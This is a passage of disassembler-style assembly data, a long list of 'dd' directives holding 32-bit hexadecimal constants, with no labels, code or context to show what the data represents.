0BD9B604Bh, 3C0938EDh, 0C251DF6Bh, 0F86AFF07h, 20700E73h dd 8747011Eh, 0D9C54D0Fh, 0F5307131h, 39F93A0Eh, 9D652FF9h dd 0B21012BAh, 273A8D2Ah, 5F919DECh, 62D24110h, 0C246E986h dd 400F4F5Fh, 7796711Bh, 78D93A01h, 0F63EF23h, 25385C6Eh dd 945C49E7h, 16801E22h, 0B8A7E92Ch, 0E6300542h, 0F2870FE1h dd 0DF9D00DAh, 0B6DB48D3h, 20C05AE5h, 11DDA20Ah, 64126B00h dd 44A6E2Ah, 5DCB05C7h, 0B85769CFh, 0EE5683F8h, 753AE2ECh dd 5B098B4Fh, 0D7E5775Fh, 3CEA8217h, 7C8A7596h, 0D25F0B1Ah dd 856EB15Dh, 9FA1A27Ah, 401E4381h, 522F2458h, 0A0F3A73Dh dd 916F486h, 0B607E62Eh, 33395002h, 1ADEEFDh, 1684D381h dd 89603C6Eh, 0DF07ED26h, 43011BE6h, 60BB5E27h, 0A8D0E64Ah dd 2DA798F6h, 0B05D7DB5h, 1425F62h, 741473BEh, 6F89E48Dh dd 57A0D58Ah, 783A152Eh, 5DD00EFh, 0A2BB129Fh, 32A01DA6h dd 7D958250h, 29C273A9h, 70955B5Dh, 1EE8B599h, 0E56F4C12h dd 0B6B88EBh, 23919D10h, 206E5027h, 5CF8F85Ah, 0F97BEF5Ah dd 9249AC01h, 3CE2FB79h, 9E29207Bh, 4BD64091h, 0FB00300Dh dd 8D25072Bh, 27B7508Bh, 3A5F5B87h, 7235F59Eh, 0EB04742Dh dd 0FBA58F84h, 162574C1h, 65A3DD2Eh, 7BED3AF5h, 71F05CA9h dd 0F133A02h, 5EFC5E79h, 0FEB7C282h, 0BF9C4771h, 52A03F4Eh dd 0E32956F1h, 58BCCB9h, 9C57D02h, 7761AFC0h, 9111AD5Bh dd 204BBC5Ah, 45089701h, 20500988h, 7ABC7F79h, 1AA9BD16h dd 5B8D7AEAh, 0F745B461h, 90EFCBF4h, 461962E7h, 0BA57E2B3h dd 43295765h, 0E035CFF5h, 719531F3h, 5C882341h, 961D276Dh dd 84FED9D6h, 7D588C77h, 0F4361904h, 23AA22C6h, 0C04527Bh dd 4A1BFAB8h, 96CDFAA1h, 59F0BC66h, 4A94D758h, 90FA9343h dd 0D2AE1Dh, 0B5030ABFh, 2DBA95F9h, 0C99D06B7h, 55EEEDB7h dd 59616E49h, 3573209Ch, 7B255C94h, 181D59D7h, 0BE9C0790h dd 214330A5h, 2AD92011h, 28CBE4FDh, 0F1C0CF74h, 38FAC99h dd 0F75BCC9h, 1B480180h, 0EF8A4B28h, 0E0970922h, 0EB50FA5Eh dd 992E8F21h, 7823B55h, 8316DF0Ch, 4E08CDB7h, 4F33D64h dd 0A7AE0D99h, 77842544h, 77FAAF38h, 950D6E00h, 8D0816F6h dd 32D00B0h, 0D7C2C046h, 0A92FCBE3h, 0D6D4D4DCh, 80911B49h dd 6B9C0B6Eh, 19F4127Fh, 89C1F21Fh, 0C13F7Ah, 88BB55E5h dd 361E9AF8h, 0CB798D29h, 1CF2F9A6h, 0AD4CD033h, 0E0F00599h dd 0BC19B938h, 0D3C62769h, 0A00AD0BBh, 5A78EA04h, 7BBA2BD7h dd 1B23EFh, 0D8D23177h, 2226CED9h, 0EC1C4B63h, 248C749h dd 223596Eh, 0F075A4E9h, 429D7CC2h, 779C482Eh, 0F9CCA84Bh dd 0BDB99860h, 5F526AF4h, 1FB27710h, 230EE2EEh, 0E06DC559h dd 543B39FDh, 1E924F7h, 5B7D32ACh, 910B607Fh, 56508005h dd 93B552E4h, 7DBBE8B6h, 4E9E0E6Bh, 6581302Ah, 30632BB7h dd 5A9872E7h, 0D0A7AEB9h, 5749DE8h, 34B6724Bh, 810C776Fh dd 6049D36h, 9C016DAh, 0D51014Dh, 2F7F590Fh, 34FEE718h dd 7904F16h, 65CE2EA3h, 0D9F90553h, 0A6DEFB5Bh, 87560682h dd 296F8FDDh, 54939895h, 30A300DDh, 68AD3531h, 0A057A91h dd 6AB6D970h, 880C4DEh, 0FDB109B4h, 0B62CEB04h, 39C1CA30h dd 9D2E07A5h, 0CC176F5Ah, 2F8C0ADCh, 9457EB98h, 8590953Dh dd 5207F462h, 9D6D63AFh, 7F7D67C0h, 5FCD25D6h, 2EB6A7E6h dd 0E913347h, 0D3202AD4h, 21125E25h, 9311E12Eh, 46FD19Dh dd 8A688004h, 0A2B9BCFEh, 8CC92E98h, 4D008596h, 750B8DA5h dd 31620A8h, 1177682h, 2F88F2E7h, 782C8852h, 0DD1154E8h dd 80DBFD5Ah, 0E447A33h, 94130199h, 0ED61F6A6h, 37FC7FF4h dd 3BB9000h, 5048E1ADh, 0D365A4DEh, 0FC3771A2h, 23BB7CF5h dd 6F191C71h, 2009C8A3h, 78291E6h, 50001B59h, 4EE95BF9h dd 172CBF24h, 0E6A292CAh, 9D14F28Dh, 86438ECFh, 0EBC9E0DBh dd 2F9A2538h, 1459FF7Bh, 1F0A2E19h, 502BBDBh, 0F621C72Dh dd 49A1609Ah, 0AA3D617Dh dd 901F1848h, 820971FAh, 6A270458h, 0DCAAD443h, 814A1749h dd 3606B69Ah, 3CF75681h, 0C84FBFEFh, 5BB70830h, 5814715Dh dd 509AAC9Fh, 5A8D84Bh, 0C0D5DAA4h, 0B80C1223h, 496D17F7h dd 9259E011h, 0A6AC6A4Ah, 0CE00585Fh, 8E97BEDFh, 57172959h dd 0B000B53Dh, 0D8F1237Ah, 9BBEC2Eh, 755ADDC5h, 97115C7Bh dd 0B1BD2B04h, 9BA2513h, 4EF91420h, 72F0D02Dh, 22A42BDh dd 8D2B5160h, 0BC6754FDh, 692A41CCh, 0EE810197h, 493353F2h dd 0C9A27E61h, 0B6015C17h, 0A1ED001Eh, 0C2842DE3h, 654E00F3h dd 14CB4027h, 162A916Ch, 5F48C701h, 0F046C038h, 12E5B5F7h dd 0F1B31A0Dh, 0FEAD2B7Ah, 0AE0CCD84h, 0B420F7A6h, 0E2873491h dd 4A803644h, 1DC4A5h, 41683D29h, 7C01EAFBh, 0C1F71B9Dh dd 0DFC259B5h, 84603D12h, 929713D5h, 0D2718Eh, 2259E618h dd 77252834h, 2CA5610Ch, 0C82B5F00h, 8D0B6004h, 0B7B512C9h dd 8B611000h, 0AD70C4D1h, 0E9F80209h, 0E0BCF6BEh, 4C37478Eh dd 587D5600h, 0FC42653Bh, 132EE6EFh, 0C6952D5Ah, 83BD636Bh dd 814E496Dh, 0B92E3344h, 87864B1Fh, 10C52882h, 2919C09h dd 55F1BBC4h, 2F917D5Eh, 0B7126358h, 0E4C303DFh, 61C89C84h dd 0CE976BE9h, 0C9CC00FBh, 36B25B43h, 440032DFh, 52C62406h dd 0EF5CF99h, 316B2E95h, 9DA4A98Bh, 0C985BC5Bh, 15490409h dd 0B13CEC10h, 318BD8CBh, 49ACD58Ah, 304B7526h, 52518FCAh dd 0B67E0DE1h, 1AED5B7Fh, 944C10D3h, 0BDDCB384h, 8280848Dh dd 32306F12h, 7F8A3893h, 94E5B78h, 518F4EDEh, 0F856AB86h dd 5FFE4C03h, 840FA7B9h, 0C16DDBEEh, 0E18D89C0h, 854BDA2Ch dd 0C21E9B7Fh, 7EFC13BFh, 7C00DCC1h, 205D420Ch, 0AA2EABBh dd 860F099Dh, 78102D13h, 5E39900Dh, 0B87C002Eh, 37823147h dd 65C501A1h, 5F57D06Ch, 0AE84F75Bh, 5E29C532h, 8C71CB8Fh dd 0AB905F27h, 3A09C00Eh, 7944F47Ch, 1DA3EA76h, 5871A521h dd 0E2E0DE2Dh, 6C7D181Dh, 24606990h, 0D758A4E6h, 3FD10900h dd 23467D27h, 3B9653B7h, 0E8317D10h, 0B88E4B0Fh, 4DFFC918h dd 0A3CBC07Eh, 52010F86h, 978CD528h, 282EF514h, 0C2E159EBh dd 85063777h, 3205EF95h, 0FE5CF8D5h, 2902716Ah, 0DCE1FF9Fh dd 0BC25DCEDh, 0E1905F4Dh, 0C12D8D01h, 7139D630h, 415FAD21h dd 382F3042h, 3422925h, 0F126F110h, 7FC202E0h, 64E66CCDh dd 29612084h, 3A6604Ah, 0BD5F05E0h, 0FA014000h, 62B135BFh dd 2F667672h, 0D7D41CCEh, 0C57F4BF6h, 2D66AC34h, 9A0AF11Fh dd 91542BAAh, 0BFDB8061h, 90D312Fh, 0AFD12F95h, 6F2C5090h dd 0B04BFB80h, 5F7D5D3Bh, 0A497DE90h, 6FBA6A0Ch, 4AFA5F3Ch dd 8094BDh, 0C4682723h, 5702339Eh, 0CE70F0BBh, 1AE07774h dd 2C7C9D3Bh, 0D662E2B7h, 35DD2DD5h, 2FB027EBh, 0AD5A28DAh dd 0DF7760FBh, 1A979C5Eh, 14CE5DEAh, 56E9DE17h, 0BFB3A152h dd 96C6FC25h, 259D3109h, 0DCCED717h, 2A4201EAh, 0A6EEB92h dd 0D9C99203h, 4E24892Dh, 59295D8h, 0FC2F89E7h, 88562542h dd 707DFB27h, 6B00F421h, 0FD8A5696h, 3A52505Fh, 9BFAD98Bh dd 0BFD77837h, 3EEBB951h, 0C54A1DB8h, 0FCB7AAC0h, 597742A2h dd 0B0FD2530h, 0BD0411A3h, 0E60EEDCh, 0C3F4D9h, 14C45685h dd 0A1EF6817h, 766A8B2Fh, 3CBC09ACh, 8FF7442Bh, 61B9921Ch dd 9925A4B8h, 0F8476159h, 0B3B8312Eh, 525FEE73h, 20505AC3h dd 26ACBA42h, 0A692800h, 0D04C790Dh, 0B3AD0B0Eh, 86C432AAh dd 970B9A7Bh, 4A103F16h, 0C2545E1Ch, 485CF561h, 1990615Ah dd 0B64AA07Ch, 0AC298F83h, 4FE9A155h, 0C199DE54h, 670AEBF3h dd 10C82F0h, 60746288h, 3161EF8Ah, 17E93FD6h, 5E7C44C0h dd 47B789E2h, 339B74A7h, 8273E259h, 0AB6B4A79h, 0BF1C56CAh dd 0E5215FA8h, 0A01A07C5h, 38F3D971h, 9712E400h, 507D6B0Ah dd 7AF6BF02h, 285B4819h, 437FE6F7h, 8BBA6295h, 104F7DC7h dd 0CF30D467h, 0B9936B4h, 60E23D2Bh, 2048D40Eh, 715DBF01h dd 0FC2A0125h, 0F3C4D7A1h, 0C0389EEFh, 56C239B2h, 0A0BB245Bh dd 8D0E13D7h, 0D68424Eh, 0A6115929h, 0D0EF0202h, 0EA509667h dd 5FBA8416h, 0C85330EEh, 88004E0Ch, 58072864h, 125BE6C5h dd 0BADF8B96h, 0C19E1D2Ah, 0E46BD310h, 2976D6DFh, 0CC400311h dd 8D8B12D8h, 61EC49ADh, 0BEB0BD59h, 0AC15B0F3h, 2D2E90A1h dd 0FB7B2BB9h, 0A4181579h, 5BB33212h, 600994B3h, 85D49D01h dd 0C6834CA7h, 0AF28ED7Eh, 6CF63BE3h, 38F2F6B4h, 0D8831C87h dd 81C9EA1Ch, 5162826Ch, 4C2201Ch, 28E58509h, 66AF4AFBh dd 2C95E49Ch, 4AB13AA3h, 8560BF19h, 1208DB81h, 0B25551D2h dd 6FEF4BA7h, 1F6E0EFDh, 648580F4h, 2C57757h, 18DEF781h dd 0A5EF32E1h, 0DDBDCA60h, 0F80C02D2h, 0D55525BFh, 6ECF9454h dd 59BDE56Fh, 0B7BAFB3h, 68608864h, 0B2EA0175h, 0A8F50B0h dd 0AD5740DAh, 0B96FB94Ch, 56E79259h, 30FBFE2Fh, 9656DB94h dd 0BB01F6A2h, 639E8680h, 94A4D892h, 55C60100h, 74F2A949h dd 0BDC12513h, 80A03FDFh, 5C8DDC7Ch, 4E1CC062h, 0FC4965BBh dd 44815941h, 5804561Dh, 50022EE5h, 0FB5EA7B3h, 5B9C5C27h dd 7B0AEE41h, 50AC89E2h, 2371BE00h, 33B0E36h, 0FA7D4FF4h dd 56D90C32h, 0E5DBE9BCh, 0A52B50h, 2CD23DDBh, 4A1CDDAFh dd 0F54A5EA4h, 98609FCCh, 2A55202Ah, 6561F825h, 0AB431285h dd 0FF31107Bh, 0CAF96510h, 21697E56h, 0C641BDD6h, 164D627Bh dd 193BC0FDh, 0D27C0118h, 283D6975h, 2B08D1E6h, 172B4E2Ch dd 4332CD9Dh, 0FFF4EF70h, 627D0B8Ah, 2979F50Ah, 52279916h dd 571B21E2h, 0ACFC263Bh, 253CB04h, 0E4D71F22h, 425395CBh dd 0E2EE870h, 0DAAFB380h, 0BB6A1764h, 52C7049Bh, 4600FEF8h dd 23BA3BF7h, 68AA0E98h, 47676F77h, 756EEE09h, 412D0EC0h dd 0FA50B70Fh, 172ADC8Ch, 52BF984Dh, 4D0995DEh, 0C0C07A4Dh dd 0A0D828BFh, 1D230FACh, 274D9589h, 21E95D24h, 6A2155F7h dd 0FAADE5FBh, 0B301A2B8h, 61605357h, 81D85B5Fh, 0C23E13DFh dd 713AE34h, 1D70097Ah, 45B78D99h, 80850DDEh, 0ADD381DAh dd 67FC7B19h, 91F10156h, 0B63BB325h, 6631B45Bh, 9D6B950Bh dd 0DE6A6ABDh, 0EB1DFE00h, 49B5890Ch, 0D9071BDh, 0F20D1831h dd 0FF2F52FAh, 489977D1h, 2B43E9BBh, 8A4F6528h, 997B907Dh dd 45900B0h, 277F148Ch, 0EF09949Ah, 0D596CB4Ah, 6CB3C160h dd 26A5B12h, 0A495F4D8h, 0BB50029Bh, 2C686ADEh, 2E6BF4Ah dd 15E17DA0h, 258A539Fh, 0CE3FA2F5h, 259ACC18h, 0D45968E9h dd 7288E6C4h, 33712D9Dh, 2D0064CEh, 7580E0E8h, 465829Fh dd 0F69EA363h, 0D10CAD09h, 175AACC9h, 0EC1A5F6Ch, 0A2E1242h dd 41018BAh, 0C8BF5B53h, 834B6D13h, 8766105Ch, 0F2B02502h dd 13F819C7h, 0BFEA5CD5h, 0A2FBB064h, 0C86A9742h, 3B765E01h dd 0CC8132EBh, 18095369h, 5BDA8B01h, 48511718h, 5F0B29C9h dd 0D6F556F9h, 4A341446h, 9EF0FE54h, 0A6FF4F6Ah, 0C8E2E09Ah dd 0B5A05083h, 0D45F2CCBh, 272C268Bh, 29ED5968h, 4452F9BDh dd 0D6BB4005h, 4E2ECF90h, 9DF8F0B0h, 4802B40h, 70E62CC3h dd 0A1E2EE52h, 71E45B0Ch, 1B4AB912h, 0DBC8E4BCh, 3042BF83h dd 0C0A8F48Fh, 4355BB06h, 0C72554D2h, 58BC4432h, 758461F9h dd 0D31210Fh, 85A6302Ah, 458C0869h, 55FD6A0Ch, 3B9A5C00h dd 7C60BDBFh, 305946C6h, 0C148B5B1h, 7F40FFDFh, 0F0799731h dd 0FEAEE91Eh, 71DEF069h dd 53C9B74Ch, 83012AFBh, 9ADBD01h, 2495F90Ch, 8947147Eh dd 818B1A9Dh, 0E9BAEB80h, 12D27350h, 74AF05F1h, 7AFCE2F3h dd 0CE915401h, 8ED2976Ah, 2DB353E0h, 3ADF5FA5h, 1C29497Ah dd 8665292Ah, 7763DBEAh, 0D5658224h, 8500FB9Ah, 68A30D99h dd 27613095h, 95098092h, 26BF5EBDh, 0D538F628h, 30FADFCBh dd 4D8D0165h, 0DE44315Eh, 0F9AA7D05h, 16BFCA8h, 0AAE19B91h dd 2D0F7FB9h, 0CCF95AF2h, 0DB58125Fh, 0A6B4967Eh, 3373276Bh dd 23C5671h, 0E1EE0562h, 0E1027787h, 37D5FC5Bh, 0A9752F1Bh dd 40B4F8CDh, 0CF0B8013h, 0CDC02BF9h, 0DE45C127h, 80C8681Fh dd 51ECA2B8h, 0BA7F258Dh, 30F0F67Bh, 7F1204BCh, 0ECAF7855h dd 60AB9367h, 6730C9A4h, 0C8DB0A07h, 5699D7B3h, 405EDA0Eh dd 0F94627D4h, 2702653h, 455E24E9h, 6A90975h, 6909CDF7h dd 0F2026D53h, 75FE8AB4h, 1A51F7DBh, 23BDD58h, 31958699h dd 6FD4A060h, 0DD852902h, 0EAFF542Bh, 6A04DE99h, 5C0F3021h dd 5B312FABh, 0BB96B79Ah, 94DC5E91h, 5FE1B83Bh, 0CC809EDEh dd 0FCB21931h, 4A329495h, 0EC49E972h, 0F4CD12F5h, 7CB6F157h dd 0E5B82756h, 59DD00BFh, 0EF5E332Fh, 0F109F400h, 84D245C6h dd 0BDDC4C39h, 0A0E5C704h, 0D652AC5Fh, 0E1FF7904h, 0EDC1559Bh dd 74745EF6h, 964A4FA6h, 29104BCAh, 4645804h, 5836CF8Eh dd 31A34BACh, 6EAA264Bh, 1D030014h, 0A48F515Eh, 0A1473B28h dd 45EB205Bh, 0FE0B9726h, 3DCD765h, 8C5F787Eh, 0B8A37BACh dd 22AA795Fh, 85E6093h, 3B6A06DCh, 4EF44BEFh, 741AA925h dd 0CBBF614Dh, 0AC8214BDh, 54ECD701h, 4A82145Dh, 288C709Bh dd 15C901CEh, 1C6F7FCh, 65CDFA4Ah, 0ED3BC86Fh, 28BEA900h dd 216343D1h, 0D38101AFh, 60E69B74h, 92F92B5Bh, 4EC69F71h dd 0CF460800h, 0CEBCACD8h, 141E132Fh, 506344B1h, 2AAAA15Fh dd 0BA4FC3E3h, 9004F719h, 29B3827Fh, 0C2ABD22Eh, 37776A7Fh dd 0E10780C7h, 0BD0B83DEh, 528C920h, 85CF1B68h, 8095EC36h dd 0F7C98899h, 0C2350444h, 0A8600CFAh, 0CCE4045Eh, 0D8AA369Ah dd 76BD83AEh, 0C052E545h, 0E25BE76h, 7CCBE800h, 0F407C497h dd 4B830461h, 0AB9CACB8h, 17237B6Bh, 0F431C100h, 0B5FAE9FBh dd 0D92DA0C4h, 0A7815B0Eh, 2D0862D4h, 61F90B10h, 40F515DFh dd 3AD8ED5Dh, 0DE35A42Eh, 0DD326909h, 32AFD0B7h, 15E57F7Ah dd 0AB1CBE2Ch, 0DFF86265h, 5805ABDh, 0A39C0363h, 173909A1h dd 0CDF0834Ah, 0BF27695h, 405E2AC1h, 5F1746DEh, 56625AA9h dd 600506F9h, 5BB71CCh, 22A4B94Dh, 85D10491h, 933DB8C5h dd 612DEEEDh, 3B93BF5Ah, 180F378h, 9649D38Eh, 6F890F60h dd 61A34AF8h, 47596BAh, 25B804B6h, 0C4319AB5h, 0E5817353h dd 0CE2A2F71h, 38205AFCh, 1BA175h, 4AA3EFE3h, 0CC9BF27h dd 58471907h, 20835005h, 8B7BD97Ah, 11F16DA5h, 7D8DAF00h dd 0F0E81Dh, 0BA65E319h, 0C4F3C09Dh, 9C8E530Bh, 948C308Bh dd 2321008Fh, 121AA2E6h, 4F01D5BDh, 719B0143h, 982BFE8Bh dd 8690FA12h, 1DBE8D4Ah, 55DD64D3h, 0FFB7E904h, 0EB9402FEh dd 57FE4509h, 32E3406Fh, 0B8044D7Ah, 8AF84B78h, 0F98A1847h dd 9661DF9Ch, 775ADC15h, 0AC5F24EEh, 0F6AAB56Ch, 0ADBED5C7h dd 3F3D48C8h, 20041831h, 81AEB672h, 2158D8Eh, 0B50464E9h dd 4A77C75Eh, 0E7EED68Ch, 6C4020B4h, 204D410h, 0B7A1F999h dd 0ED82D647h, 0B745BD9h, 345416DCh, 604830AAh, 580017C7h dd 5EB96775h, 0E2815h, 666E8EF5h, 0DED94891h, 25871497h dd 23EC042Fh, 0D227C704h, 0F3AB83BEh, 0A1E9D357h, 0E017D3B8h dd 0B80984BFh, 40E95E66h, 214DB3FEh, 676EF100h, 92E39028h dd 0C977023Bh, 5E9BD8B4h, 0CB4081D4h, 7B23A279h, 98F57D99h dd 0AFD69762h, 0FFE34BF6h, 0B1ACC224h, 487AFA4Fh, 0E45DDE00h dd 83CA1999h, 1DE2AA02h, 684D9529h, 97DA8AF7h, 3DF53D0Bh dd 648F8BD3h, 7700B059h, 84F78910h, 6D704Ch, 36599269h dd 0E0F31C34h, 798B255Ch, 955F3140h, 195952D3h, 0BA096A18h dd 0F50A728Ch, 0BF105405h, 1233E808h, 83B9FC96h, 0F0C32CC6h dd 7C93325Ch, 0C0DD2515h, 203EA460h, 0EFE9658h, 4A80C381h dd 0DB25E998h, 0C8D4F016h, 782CD517h, 0A9B571BFh, 0F85B0A05h dd 1BE1351Ch, 0B94B52ECh, 6FE94EF1h, 80FA79ADh, 0E6733075h dd 0FCA51232h, 7E09F118h, 0F9D3A6DEh, 0EB304BB4h, 4B65BD01h dd 81EE8828h, 9271CB38h, 0E3E17E5Ch, 0ED26E6Fh, 2112A11Ah dd 0B3DBF365h, 235CB63Bh, 0DEA22CF9h, 4ABDF909h, 67EDDF31h dd 0FA2CAFE0h, 0D6830156h, 8E100EBFh, 0B2F83A7Bh, 16FB4FAAh dd 0D572040Eh, 0D7171304h, 0EC09798Ch, 0C0B62FDh, 0D2D86050h dd 56EA534Eh, 7EDBFA4Ah, 7758F980h, 6D2FEBBCh, 4D261F5h dd 0AB00AC3Fh, 85BBC73Dh, 0F8F76E02h, 145EA4B7h, 40B7746Bh dd 67A18952h, 58AD2501h, 0AEE30CCBh, 8AA8312Eh, 87CB2AFEh dd 894A3222h, 9622D1FBh, 6C5DD6B7h, 0FC8A3E94h, 6B50A14Fh dd 0A5079B70h, 636704BFh, 0E10D9125h, 3DBC2F3Fh, 0C261F427h dd 0E203665Bh, 0F0E63015h, 9798589Dh, 4D400E1Ah, 30A46460h dd 0E009ADA0h, 0C63A5425h, 0A8948F2h, 1B7E1B2Fh, 7DDFFA72h dd 122D4B03h, 0F171BBA4h, 352E5F07h, 0D7D1ADDEh, 9DC6E3F4h dd 0E200B33Dh, 0EEE5FC40h, 68AA0B81h, 297DC0F4h, 6A65F7B0h dd 43FDBAFh, 4014E9F8h, 0FF9FC8CEh, 5E9800A9h, 7E623A26h dd 5F7C17B4h, 5D04CC7Fh, 0D4E9F4BEh, 0F63B17ABh, 1309E1A2h dd 0B97A7FFAh, 0DF1C652Dh, 8D2E441Fh, 0FC20DDC7h, 5CD54B1Eh dd 4EC02F4Dh, 0EAF50205h, 89777B00h, 8AE2EB81h, 0FD155E5Fh dd 593DAD4Bh, 9A08DDC1h, 8A2BC01Fh, 108EF648h, 124E17F5h dd 0FA34BAB1h, 0B22ADDA5h, 58345A6Bh, 8B3DFA82h, 9CB3D48h dd 3431B676h, 18FB7009h, 6F858396h, 37EB4D28h, 53ABF0DEh dd 0B101A247h, 1D20F540h, 0ACF0A76Dh, 97627B1Fh, 356D5D8Bh dd 848D94C0h, 8EC012A2h, 0AF4C8813h, 7B4E5109h, 0D7E6C2EBh dd 97006479h, 68D494C9h, 516B028Eh, 0E5CDCCF2h, 8DBF9CA0h dd 4E698B2Dh, 2BE50E92h, 0B5EF7F1Bh, 0A8453663h, 0DF09Ch dd 81C028F7h, 0C8F30AE7h, 8D316E0Eh, 4AF7F2B9h, 4C90562Fh dd 65077C81h, 0A8689EBDh, 0F7BB6340h, 0B8AD4A96h, 395FCED2h dd 0FC7ADAF0h, 7E83CA4Dh, 332B9825h, 22B5279Dh, 3125C75Ah dd 0AEAC5912h, 954BD48Eh, 9E3444CAh, 3F9BFF20h, 8485D9C0h dd 4A00EADAh, 6D70B8BFh, 9D026A63h, 541DC4B7h, 606B2F00h dd 1218481Ah, 0EFFCDD85h, 0DEEEA013h, 0BE1080CAh, 25785B31h dd 0BA5B9445h, 1A9B5AFh, 0ED6094E5h, 55F02BBDh, 607E97A9h dd 0B8217959h, 0F0A6B67Bh, 43B0711h, 0CBAEAAAh, 1E11E2A0h dd 898169B8h, 29C03359h, 3D6049D8h, 2782A708h, 0D87DD66Fh dd 25CDF9D5h, 3F709B7Bh, 0D9AA0EA8h, 7CA41148h, 0D7DFBDC2h dd 0EF02796Ah, 90069E33h, 0DE6F095Fh, 694AA45Eh, 0A325B1F5h dd 9C9BB29h, 0CD02A48Bh, 3E5861F3h, 90DB3912h, 0C59E5A9Bh dd 0C2F9BCADh, 0FAFD0BF8h, 5B6125A1h, 561E71h, 0D5379631h dd 2371BD2Bh, 0EB77D495h, 4BFE4D77h, 1705567Bh, 32DCF9BFh dd 29FD2FBDh, 26DD1FF5h, 8609E029h, 0B9258589h, 4D562227h dd 1F3D5518h, 0A080C505h, 13E581C1h, 161E283Ah, 0D691628Ah dd 0F3B0C403h, 956026Eh, 57A7C6B3h, 27591522h, 7DFE1313h dd 2221A305h, 13AFB6E9h dd 0CE259315h, 0C8B62012h, 120EE6BAh, 0E6AD284Dh, 7C5BF80h dd 58B8741Eh, 78228997h, 0E380041Ch, 0ECC82BB4h, 0C9738084h dd 0EC58AB8h, 359A7E50h, 20F9E6E1h, 0D6E02AF1h, 60DB02D3h dd 99E90B53h, 834494F5h, 0B8528DBEh, 27551EF0h, 0A764947h dd 0A02D7869h, 9D2CC883h, 81C0BB7Eh, 0EFF38CBh, 67E97FBBh dd 1927221Ch, 11184513h, 248E0010h, 4D25C7CEh, 6EA327F3h dd 79C9465Eh, 603D111Bh, 8FBB66CEh, 1B329D17h, 6D40AA5Eh dd 56EC79h, 7F286C5Dh, 0F3ED26EBh, 723BB724h, 58719514h dd 0B9ACD209h, 32FB2980h, 9D272C68h, 132F4CD2h, 0FD4CA1A6h dd 0E4C4BD27h, 92A83C77h, 24950116h, 3C57BBF9h, 0BEFC56FBh dd 0E6D9272Ah, 5F0C783Dh, 0BFF230AFh, 0B92A8896h, 7C97C358h dd 5A1C2E8h, 3403974h, 0BD2C199Dh, 0F45A7Eh, 265FA83Ah dd 0F568E1A9h, 89A6B85Ah, 4171510h, 0B531D22Bh, 0E2CB52EEh dd 9B54F8B5h, 6D178DDh, 567F6F09h, 0B77F8260h, 0DDDB62D2h dd 0ECFAE2D1h, 0D272015Ch, 56AD435Bh, 0D0CE3C5Ch, 0E29212D2h dd 601292F3h, 61F209F5h, 1587779h, 1A6D2D8Dh, 4EF4E47Ch dd 84EBC8D3h, 80C20B07h, 0A9C2EE87h, 51825D14h, 645E6ED2h dd 34AD6051h, 7A79F9F3h, 4167470h, 361E4195h, 0BF168C53h dd 1F2502FEh, 0E20B5C4Dh, 0F7321641h, 0FF0043B5h, 0A70CCFBAh dd 1DF1124Eh, 8452F2B4h, 0DEAA0452h, 6ADD84ABh, 43A269BCh dd 0CC5CBF20h, 0CA764BB1h, 0BDFB2238h, 9D629AD6h, 602069D1h dd 0A143A76Ah, 4C88D98Ch, 0C312BF5h, 0EC6E3249h, 607AFD1Ah dd 0CB4C3A27h, 0CD132000h, 8148DA32h, 756A09E7h, 607A3EB3h dd 5B32F16Bh, 5E577ABAh, 28C9008Bh, 0DF80A732h, 30BB955Eh dd 0C64EF76h, 30BE4C5Eh, 958DBBE0h, 27A76748h, 15985D60h dd 7100C479h, 42C22D49h, 8216AD03h, 40D95Fh, 8B52585Ah dd 614B59D3h, 8D311B20h, 0CE1F4A09h, 0B4B3186Dh, 0D45B270h dd 8B61C88Ah, 8AFCEAD9h, 0DFAFD41Eh, 0A9AAE298h, 0EDA6DD00h dd 0CC798D73h, 699F08E2h, 53415F47h, 5DC8B860h, 738E30Fh dd 0A05F61C4h, 6DB5FB63h, 54D92FB0h, 232E985h, 4CE82BE9h dd 11E9205h, 4281BA28h, 752F020Dh, 1E5E23Dh, 0C8563153h dd 16D04737h, 0BCCB00A8h, 7A9CECFFh, 0C34BEE77h, 0C2194BCDh dd 0AF2A172Eh, 0B401257Bh, 0F2FA464h, 15F26B85h, 0D484580h dd 77095FBFh, 5C90E8BDh, 1B46D62Dh, 0ABF06A00h, 0F882F68h dd 5489A425h, 0C512DEDDh, 5B308BFEh, 73700EBDh, 2610039Dh dd 3120DFB4h, 0FB5589DAh, 802FA94Fh, 0FD50DA2Ah, 31016CB4h dd 1818739h, 952CA929h, 6130F380h, 36006567h, 0DD99F068h dd 991D3D6h, 0E6861833h, 4460A02h, 0E7709C73h, 0D7B10483h dd 0F890FEC8h, 12172060h, 0C1F98B96h, 0E28167BEh, 0C2FCCD77h dd 5D5E11A6h, 1D46D6h, 853B38F2h, 12EC209Eh, 57D2ECFh dd 0E2C51DDBh, 13BA0040h, 7FE1B68Fh, 594600AAh, 0D62F36C2h dd 31FABF3Dh, 6537995h, 9C0A685Bh, 20E49A62h, 0DC055B2h dd 1F3BF2F5h, 36DB8265h, 5E25E93Ch, 0B7742731h, 0FC2500F6h dd 6BA53B98h, 100953A6h, 46890F90h, 5724580Eh, 0BA8A0B74h dd 0BF43220h, 0F4B01DEh, 0B7ADD041h, 3AA96B48h, 5C9E9681h dd 20FA2A12h, 7D02BDD7h, 0D5602C05h, 38018F0Fh, 5BE9F780h dd 5DFBCF6Ah, 0FFFCA948h, 85A20213h, 0F921451Fh, 0D3515Fh dd 904660BFh, 0FA4B8B6Ch, 0B15F6A8Ah, 0E96F7A01h, 48972000h dd 55C73EEFh, 0DE03D027h, 985D2DC2h, 0F4EB819Dh, 872B704Ah dd 2D28985Eh, 0B6DB0535h, 951B7D0h, 8D437B26h, 990F88D9h dd 259D849Ch, 0D7CE2CAEh, 8D35608Ah, 0B7E79528h, 0D727C41Ah dd 14E96A40h, 0EB485CB7h, 2967F6D4h, 0FDE2D5C9h, 91D935D5h dd 0E5CE8216h, 54D3DD68h, 2F17352h, 988BFBD0h, 0CA4F8575h dd 206A38Ch, 11FD0733h, 5E55F90Bh, 61DB509Ah, 593A7395h dd 2DD1819h, 99D892AEh, 0E440FC75h, 4C48D20Fh, 0DABF09F6h dd 86D15F96h, 57CBBB82h, 9355A050h, 60CF5Eh, 0FEBE071Eh dd 0CD67B9CEh, 0E697DE01h, 9623362Eh, 813ADB2Ah, 343101B9h dd 0BF1EF1C8h, 0EC4BB4D4h, 5F709C6h, 0F6736BC2h, 4FB7D0A0h dd 0CD8660C0h, 0F0B76707h, 0BC76BF0Dh, 659529E0h, 973950Ah dd 552F01A4h, 15DF5A0Bh, 89BC484Fh, 0EB70D0FAh, 0D0956CACh dd 832960F9h, 85012050h, 6E959C90h, 47B7BDD4h, 0BEC4B000h dd 